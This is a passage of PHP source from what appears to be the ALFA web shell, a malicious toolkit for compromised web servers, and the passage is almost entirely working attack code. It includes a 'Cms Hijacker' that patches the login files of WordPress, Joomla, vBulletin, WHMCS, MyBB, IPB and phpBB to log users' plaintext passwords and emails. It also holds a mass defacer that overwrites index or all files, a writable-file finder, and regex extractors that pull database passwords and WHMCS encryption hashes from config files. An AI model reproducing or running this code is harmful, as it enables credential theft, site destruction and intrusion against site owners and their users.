  5614. }else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
  5615. }else{
  5616. alfaEx("cd '".addslashes(dirname($zipfile))."';zip -r '".addslashes(basename($zipfile))."' '".addslashes($dirzip)."' > /dev/null &");
  5617. echo __pre().'<center><p>Please Wait For 1 minutes AND Check this -> <b><font color="green">'.$zipfile.'</font></b><br>Because We Executed The Command in The background !</p></center>';
  5618. }}
  5619. echo '</div>';
  5620. alfafooter();
  5621. }
  5622. function alfacmshijacker(){
  5623. alfahead();
  5624. AlfaNum(5,6,7,8,9,10);
  5625. echo '<div class=header><br>
  5626. <center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\'cmshijacker\',null,this.cmshi.value,this.saveto.value,\'>>\',this.cmspath.value);return false;" method=\'post\'>
  5627. <div class="txtfont">CMS: <select style="width:100px;" name="cmshi">';
  5628. $cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");
  5629. foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
  5630. echo("</select>");
  5631. echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
  5632. SaveTo: <input size="50" type="text" name="saveto" value="'.$GLOBALS['cwd'].'alfa.txt"></font>
  5633. <input type="submit" name="btn" value=" "></form></center><br>';
  5634. $cms = $_POST['alfa1'];
  5635. $saveto = $_POST['alfa2'];
  5636. $cmspath = $_POST['alfa4'];
  5637. if(!empty($cms) AND !empty($saveto) AND $_POST['alfa4'] AND $_POST['alfa3'] == '>>'){
  5638. echo __pre();
  5639. alfaHijackCms($cms,$cmspath,$saveto);
  5640. }
  5641. echo '</div>';
  5642. alfafooter();
  5643. }
  5644. function alfaHijackCms($cms,$cmspath,$saveto){
  5645. switch($cms){
  5646. case "vb":
  5647. hijackvBulletin($cmspath,$saveto);
  5648. break;
  5649. case "wp":
  5650. hijackwp($cmspath,$saveto);
  5651. break;
  5652. case "jom":
  5653. hijackJoomla($cmspath,$saveto);
  5654. break;
  5655. case "whmcs":
  5656. hijackWhmcs($cmspath,$saveto);
  5657. break;
  5658. case "mybb":
  5659. hijackMybb($cmspath,$saveto);
  5660. break;
  5661. case "ipb":
  5662. hijackIPB($cmspath,$saveto);
  5663. break;
  5664. case "phpbb":
  5665. hijackPHPBB($cmspath,$saveto);
  5666. break;
  5667. default:
  5668. echo "error!";
  5669. break;
  5670. }
  5671. }
  5672. function hijackvBulletin($path,$saveto){
  5673. $code='$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' . $alfa_password." (" . $row["email"] . ")\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
  5674. $clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
  5675. $code=str_replace('{saveto_path}',$saveto,$code);
  5676. $login = $path."/login.php";
  5677. $class = $path."/includes/class_bootstrap.php";
  5678. $dologin = 'do_login_redirect();';
  5679. $evil_login= "\t".$code."\n\t".$dologin;
  5680. $evil_class = "true";
  5681. if(@is_file($login) AND @is_writable($login) AND @is_file($class) AND @is_writable($class)){
  5682. $data_login = @file_get_contents($login);
  5683. $data_class = @file_get_contents($class);
  5684. if(strstr($data_login, $dologin) AND strstr($data_class, $clearpw)){
  5685. $login_replace = str_replace($dologin,$evil_login, $data_login);
  5686. $class_replace = str_replace($clearpw,$evil_class, $data_class);
  5687. @file_put_contents($login, $login_replace);
  5688. @file_put_contents($class, $class_replace);
  5689. hijackOutput(0,$saveto);
  5690. }else{
  5691. hijackOutput(1);
  5692. }
  5693. }else{
  5694. hijackOutput(1);
  5695. }
  5696. }
  5697. function hijackwp($path,$saveto){
  5698. $code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
  5699. $redirect_wp = 'if ( !is_wp_error($user) && !$reauth ) {';
  5700. $code=str_replace('{saveto_path}',$saveto,$code);
  5701. $login=$path."/wp-login.php";
  5702. $evil_login = "\t".$redirect_wp."\n\t".$code;
  5703. if(@is_file($login) AND @is_writable($login)){
  5704. $data_login = @file_get_contents($login);
  5705. if(strstr($data_login, $redirect_wp)){
  5706. $login_replace = str_replace($redirect_wp,$evil_login, $data_login);
  5707. @file_put_contents($login, $login_replace);
  5708. hijackOutput(0,$saveto);
  5709. }else{
  5710. hijackOutput(1);
  5711. }
  5712. }else{
  5713. hijackOutput(1);
  5714. }
  5715. }
  5716. function hijackJoomla($path,$saveto){
  5717. $code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
  5718. $code=str_replace('{saveto_path}',$saveto,$code);
  5719. $comp=$path."/administrator/components/com_login/";
  5720. if(@is_file($comp."/login.php")){
  5721. $login = $comp."/login.php";
  5722. }elseif(@is_file($comp."/admin.login.php")){
  5723. $login = $comp."/admin.login.php";
  5724. }else{
  5725. $login = '';
  5726. }
  5727. if(@is_file($login) AND @is_writable($login) AND $login != ''){
  5728. $data_login = @file_get_contents($login);
  5729. $evil_login = $code."\n".$data_login;
  5730. @file_put_contents($login, $evil_login);
  5731. hijackOutput(0,$saveto);
  5732. }else{
  5733. hijackOutput(1);
  5734. }
  5735. }
  5736. function hijackWhmcs($path,$saveto){
  5737. $code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' . $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
  5738. $code=str_replace('{saveto_path}',$saveto,$code);
  5739. $conf=$path."/configuration.php";
  5740. if(@is_file($conf) AND @is_writable($conf)){
  5741. $data_conf = @file_get_contents($conf);
  5742. if(!strstr($data_conf,'?>'))$code = '?>'.$code;
  5743. $evil_conf = $data_conf."\n".$code;
  5744. @file_put_contents($conf, $evil_conf);
  5745. hijackOutput(0,$saveto);
  5746. }else{
  5747. hijackOutput(1);
  5748. }
  5749. }
  5750. function hijackMybb($path,$saveto){
  5751. $code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE`username` =\'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
  5752. $find = '$loginhandler->complete_login();';
  5753. $code=str_replace('{saveto_path}',$saveto,$code);
  5754. $login=$path."/member.php";
  5755. $evil_login = "\t".$code."\n\t".$find;
  5756. if(@is_file($login) AND @is_writable($login)){
  5757. $data_login = @file_get_contents($login);
  5758. if(strstr($data_login, $find)){
  5759. $login_replace = str_replace($find,$evil_login, $data_login);
  5760. @file_put_contents($login, $login_replace);
  5761. hijackOutput(0,$saveto);
  5762. }else{
  5763. hijackOutput(1);
  5764. }
  5765. }else{
  5766. hijackOutput(1);
  5767. }
  5768. }
  5769. function hijackIPB($path,$saveto){
  5770. $code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
  5771. $find = 'unset( $member[\'plainPassword\'] );';
  5772. $code=str_replace('{saveto_path}',$saveto,$code);
  5773. $login=$path."/admin/sources/handlers/han_login.php";
  5774. $evil_login = "\t".$find."\n\t".$code;
  5775. if(@is_file($login) AND @is_writable($login)){
  5776. $data_login = @file_get_contents($login);
  5777. if(strstr($data_login, $find)){
  5778. $login_replace = str_replace($find,$evil_login, $data_login);
  5779. @file_put_contents($login, $login_replace);
  5780. hijackOutput(0,$saveto);
  5781. }else{
  5782. hijackOutput(1);
  5783. }
  5784. }else{
  5785. hijackOutput(1);
  5786. }
  5787. }
  5788. function hijackPHPBB($path,$saveto){
  5789. $code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
  5790. $find = 'case \'login\':';
  5791. $code=str_replace('{saveto_path}',$saveto,$code);
  5792. $login=$path."/ucp.php";
  5793. $evil_login = "\t".$find."\n\t".$code;
  5794. if(@is_file($login) AND @is_writable($login)){
  5795. $data_login = @file_get_contents($login);
  5796. if(strstr($data_login, $find)){
  5797. $login_replace = str_replace($find,$evil_login, $data_login);
  5798. @file_put_contents($login, $login_replace);
  5799. hijackOutput(0,$saveto);
  5800. }else{
  5801. hijackOutput(1);
  5802. }
  5803. }else{
  5804. hijackOutput(1);
  5805. }
  5806. }
  5807. function hijackOutput($c=0,$p=''){echo($c==0?"<center><font color='green'>Success</font> --> path: $p</center>":'<center><font color="red">Error in inject code !</font></center>');}
  5808. function Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){
  5809. if(@is_dir($dir)){
  5810. $files=@scandir($dir);
  5811. foreach($files as $key => $value){
  5812. $path=@realpath($dir. DIRECTORY_SEPARATOR .$value);
  5813. if(!@is_dir($path)){
  5814. if($ext!='*'){$f = basename($path);$f = explode('.',$f);$f = end($f);if($f!=$ext)continue;}
  5815. if($e=='str'){
  5816. $content = @file_get_contents($path);
  5817. if(strpos($content, $string) !== false){
  5818. echo str_replace('\\','/',$path) . "<br>";
  5819. }
  5820. }else{
  5821. if(strstr($value,$string)){
  5822. echo str_replace('\\','/',$path) . "<br>";
  5823. }
  5824. }
  5825. $results[] = $path;
  5826. }elseif($value != "." && $value != "..") {
  5827. Alfa_StrSearcher($path,$string,$ext,$e,$results);
  5828. $results[] = $path;
  5829. }}}}
  5830. function alfasearcher(){
  5831. alfahead();
  5832. echo '<div class=header><center><p><divclass="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>';
  5833. if(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){
  5834. echo '<center><div class="txtfont_header">| Find Readable Or Writable Files |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
  5835. <div class="txtfont">
  5836. Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
  5837. Dir: <input size="50" id="target" type="text" name="filename" value="'.$GLOBALS['cwd'].'">
  5838. Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
  5839. <input type="submit" name="btn" value=" "></div></form></center><br>';
  5840. $dir = $_POST['alfa2'];
  5841. $ext = $_POST['alfa3'];
  5842. $method = $_POST['alfa4'];
  5843. if($_POST['alfa5']=='>>'){
  5844. echo __pre();
  5845. if(substr($dir,-1)=='/')$dir=substr($dir,0,-1);
  5846. Alfa_Searcher($dir,trim($ext),$method);
  5847. }
  5848. }
  5849. if($_POST['alfa1']=='str'){
  5850. echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
  5851. <div class="txtfont">
  5852. Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
  5853. String: <input type="text" name="string" value="">
  5854. Dir: <input size="50" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
  5855. Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
  5856. <input type="submit" name="btn" value=" "></div></form></center><br>';
  5857. $dir = $_POST['alfa2'];
  5858. $string = $_POST['alfa3'];
  5859. $ext = $_POST['alfa5'];
  5860. if(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){
  5861. echo __pre();
  5862. Alfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']);
  5863. }
  5864. }
  5865. echo '</div>';alfafooter();
  5866. }
  5867. function alfaMassDefacer(){
  5868. alfahead();
  5869. AlfaNum(5,6,7,8,9,10);
  5870. echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
  5871. echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
  5872. Mass dir: <input size="50" id="target" type="text" name="massdir" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  5873. DefPage: <input size="50" type="text" name="defpage" value="'.htmlspecialchars($GLOBALS['cwd']).'"></div> <input type="submit" name="btn" value=" "></center></p>
  5874. </form>';
  5875. $dir = $_POST['alfa1'];
  5876. $defpage = $_POST['alfa2'];
  5877. $method = $_POST['alfa3'];
  5878. $fCurrent = $GLOBALS['__file_path'];
  5879. if($_POST['alfa4'] == '>>'){
  5880. if(!empty($dir)){
  5881. if(@is_dir($dir)){
  5882. if(@is_readable($dir)){
  5883. if(@is_file($defpage)){
  5884. if($dh = @opendir($dir)){
  5885. echo __pre();
  5886. while (($file = @readdir($dh)) !== false){
  5887. if($file == '..' || $file == '.')continue;
  5888. $newfile=$dir.$file;
  5889. if($fCurrent == $newfile)continue;
  5890. if(@is_dir($newfile)){
  5891. Alfa_ReadDir($newfile,$method,$defpage);
  5892. }else{
  5893. if(!@is_writable($newfile))continue;
  5894. if(!@is_readable($newfile))continue;
  5895. Alfa_Rewriter($newfile,$file,$defpage,$method);
  5896. }
  5897. }
  5898. closedir($dh);
  5899. }else{__alert('<font color="red">Error In OpenDir...</font>');}
  5900. }else{__alert('<font color="red">DefPage File NotFound...</font>');}
  5901. }else{__alert('<font color="red">Directory is not Readable...</font>');}
  5902. }else{__alert('<font color="red">Mass Dir is Invalid Dir...</font>');}
  5903. }else{__alert('<font color="red">Dir is Empty...</font>');}
  5904. }
  5905. echo '</div>';
  5906. alfafooter();
  5907. }
  5908. function Alfa_ReadDir($dir,$method='',$defpage=''){
  5909. if(!@is_readable($dir)) return false;
  5910. if(@is_dir($dir)) {
  5911. if ($dh = @opendir($dir)) {
  5912. while(($file=readdir($dh))!==false) {
  5913. if($file == '..' || $file == '.')continue;
  5914. $newfile=$dir.'/'.$file;
  5915. if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);
  5916. if(@is_file($newfile)){
  5917. if(!@is_readable($newfile))continue;
  5918. Alfa_Rewriter($newfile,$file,$defpage,$method);
  5919. }
  5920. }
  5921. closedir($dh);
  5922. }
  5923. }
  5924. }
  5925. function Alfa_Rewriter($dir,$file,$defpage,$m='index'){
  5926. if(!@is_writable($dir)) return false;
  5927. if(!@is_readable($dir)) return false;
  5928. $defpage=@file_get_contents($defpage);
  5929. if($m == 'index'){
  5930. $indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');
  5931. if(in_array(strtolower($file),$indexs)){
  5932. @file_put_contents($dir,$defpage);
  5933. echo @is_file($dir)?$dir."<b><font color='red'>DeFaced...</b></font><br>" : '';
  5934. }
  5935. }elseif($m=='all'){
  5936. @file_put_contents($dir,$defpage);
  5937. echo @is_file($dir)?$dir." <b><font color='red'>DeFaced...</b></font><br>" : '';
  5938. }
  5939. }
  5940. function alfaGetDisFunc(){
  5941. alfahead();
  5942. echo '<div class="header">';
  5943. $disfun = @ini_get('disable_functions');
  5944. $s = explode(',',$disfun);
  5945. $f = array_unique($s);
  5946. echo '<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
  5947. $i=1;
  5948. foreach($f as $s){
  5949. $s=trim($s);
  5950. if(function_exists($s)||!is_callable($s))continue;
  5951. echo '<tr><td align="center" style="background-color: black;">'.$i.'</td>';
  5952. echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.'.str_replace('_','-',$s).'.php"><span class="disable_functions"><b>'.$s.'</b></span></a></td>';
  5953. $i++;
  5954. }
  5955. echo '</table></center>';
  5956. echo '</div>';
  5957. alfafooter();
  5958. }
  5959. function Alfa_Create_A_Tag($action,$vals){
  5960. $nulls = array();
  5961. foreach($vals as $key => $val){
  5962. echo '<a href=javascript:void(0) onclick="g(\''.$action.'\',';
  5963. for($i=1;$i<=$val[1]-1;$i++)$nulls[] = 'null';
  5964. $f = implode(',',$nulls);
  5965. echo $f.',\''.$val[0].'\');return false;">| '.$key.' | </a>';
  5966. unset($nulls);
  5967. }
  5968. }
  5969. function Alfa_Searcher($dir, $ext, $method) {
  5970. if(@is_readable($dir)){
  5971. if($method == 'all')$ext = '*';
  5972. if($method == 'dirs')$ext = '*';
  5973. $globFiles = @glob("$dir/*.$ext");
  5974. $globDirs = @glob("$dir/*", GLOB_ONLYDIR);
  5975. $blacklist = array();
  5976. foreach ($globDirs as $dir) {
  5977. if(!@is_readable($dir)) continue;
  5978. @Alfa_Searcher($dir, $ext, $method);
  5979. }
  5980. switch($method){
  5981. case "files":
  5982. foreach ($globFiles as $file){
  5983. if(@is_writable($file)){
  5984. echo "$file<br>";
  5985. }
  5986. }
  5987. break;
  5988. case "dirs":
  5989. foreach ($globFiles as $file){
  5990. if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){
  5991. echo dirname($file).'<br>';
  5992. $blacklist[] = dirname($file);
  5993. }
  5994. }
  5995. break;
  5996. case "all":
  5997. foreach ($globFiles as $file){
  5998. echo $file.'<br>';
  5999. }
  6000. break;
  6001. }
  6002. unset($blacklist);
  6003. }
  6004. }
  6005. function AlfaiFrameCreator($f,$width='100%',$height='600px'){
  6006. return('<iframe src="'.$f.'" width="'.$width.'" height="'.$height.'" frameborder="0"></iframe>');
  6007. }
  6008. class AlfaCURL {
  6009. public $headers;
  6010. public $user_agent;
  6011. public $compression;
  6012. public $cookie_file;
  6013. public $proxy;
  6014. public $path;
  6015. public $ssl = false;
  6016. public $curl_status = true;
  6017. function __construct($cookies=false,$compression='gzip',$proxy=''){
  6018. if(!extension_loaded('curl')){$curl_status = false;return false;}
  6019. $this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
  6020. $this->headers[] = 'Connection: Keep-Alive';
  6021. $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
  6022. $this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
  6023. $this->path = ALFA_TEMPDIR.'/Alfa_cookies.txt';
  6024. $this->compression=$compression;
  6025. $this->proxy=$proxy;
  6026. $this->cookies=$cookies;
  6027. if($this->cookies)$this->cookie($this->path);
  6028. }
  6029. function cookie($cookie_file) {
  6030. if (_alfa_file_exists($cookie_file,false)) {
  6031. $this->cookie_file=$cookie_file;
  6032. }else{
  6033. @fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));
  6034. $this->cookie_file=$cookie_file;
  6035. @fclose($this->cookie_file);
  6036. }
  6037. }
  6038. function Send($url,$method="get",$data=""){
  6039. if(!$this->curl_status){return false;}
  6040. $process = curl_init($url);
  6041. curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
  6042. curl_setopt($process, CURLOPT_HEADER, 0);
  6043. curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
  6044. curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
  6045. curl_setopt($process, CURLOPT_ENCODING , $this->compression);
  6046. curl_setopt($process, CURLOPT_TIMEOUT, 30);
  6047. if($this->ssl){
  6048. curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);
  6049. curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);
  6050. }
  6051. if($this->cookies){
  6052. curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
  6053. curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
  6054. }
  6055. if($this->proxy){
  6056. curl_setopt($process, CURLOPT_PROXY, $this->proxy);
  6057. }
  6058. if($method=='post'){
  6059. curl_setopt($process, CURLOPT_POSTFIELDS, $data);
  6060. curl_setopt($process, CURLOPT_POST, 1);
  6061. curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
  6062. }
  6063. $return = curl_exec($process);
  6064. curl_close($process);
  6065. return $return;
  6066. }
  6067. function error($error) {
  6068. echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
  6069. die;
  6070. }
  6071. }
  6072. function getConfigHtml($cms){
  6073. $content = '';
  6074. $cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");
  6075. $content .= "<form onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value);return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
  6076. foreach($cms_array as $key => $val){
  6077. $content .= "<option value='{$key}' ".($key==$cms?'selected=selected':'').">{$val}</option>";
  6078. }
  6079. $content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='".$_SERVER['DOCUMENT_ROOT']."/'size='30' /> <button class='button'>GetConfig</button>";
  6080. $content .= "</form>";
  6081. return $content;
  6082. }
  6083. function alfaGetConfig(){
  6084. $cms = $_POST['alfa1'];
  6085. $path = trim($_POST['alfa2']);
  6086. $config = array(
  6087. 'wp'=>array('file'=>'/wp-config.php',
  6088. 'host'=>array("/define\('DB_HOST',(\s+)(?:'|\")(.*?)(?:'|\")\);/",2),
  6089. 'dbname'=>array("/define\('DB_NAME',(\s+)(?:'|\")(.*?)(?:'|\")\);/",2),
  6090. 'dbuser'=>array("/define\('DB_USER',(\s+)(?:'|\")(.*?)(?:'|\")\);/",2),
  6091. 'dbpw'=>array("/define\('DB_PASSWORD',(\s+)(?:'|\")(.*?)(?:'|\")\);/",2),
  6092. 'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6093. ),
  6094. 'drupal'=>array('file'=>'/config.php',
  6095. 'host'=>array("/define\('DB_HOSTNAME',(\s+)(?:'|\")(.*?)(?:'|\")\);/",2),
  6096. 'dbname'=>array("/define\('DB_DATABASE',(\s+)(?:'|\")(.*?)(?:'|\")\);/",2),
  6097. 'dbuser'=>array("/define\('DB_USERNAME',(\s+)(?:'|\")(.*?)(?:'|\")\);/",2),
  6098. 'dbpw'=>array("/define\('DB_PASSWORD',(\s+)(?:'|\")(.*?)(?:'|\")\);/",2),
  6099. 'prefix'=>array("/define\('DB_PREFIX',(\s+)(?:'|\")(.*?)(?:'|\")\);/",2)
  6100. ),
  6101. 'vb'=>array('file'=>'/includes/config.php',
  6102. 'host'=>array("/config\['MasterServer'\]\['servername'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6103. 'dbuser'=>array("/config\['MasterServer'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6104. 'dbname'=>array("/config\['Database'\]\['dbname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6105. 'dbpw'=>array("/config\['MasterServer'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6106. 'prefix'=>array("/config\['Database'\]\['tableprefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6107. ),
  6108. 'phpnuke'=>array('file'=>'/config.php',
  6109. 'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
  6110. 'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
  6111. 'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
  6112. 'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
  6113. 'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3)
  6114. ),
  6115. 'smf'=>array('file'=>'/Settings.php',
  6116. 'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6117. 'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6118. 'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6119. 'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6120. 'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6121. ),
  6122. 'whmcs'=>array('file'=>'/configuration.php',
  6123. 'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6124. 'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6125. 'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6126. 'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6127. 'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6128. ),
  6129. 'joomla'=>array('file'=>'/configuration.php',
  6130. 'host'=>array("/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6131. 'dbname'=>array("/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6132. 'dbuser'=>array("/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6133. 'dbpw'=>array("/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6134. 'prefix'=>array("/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6135. ),
  6136. 'phpbb'=>array('file'=>'/config.php',
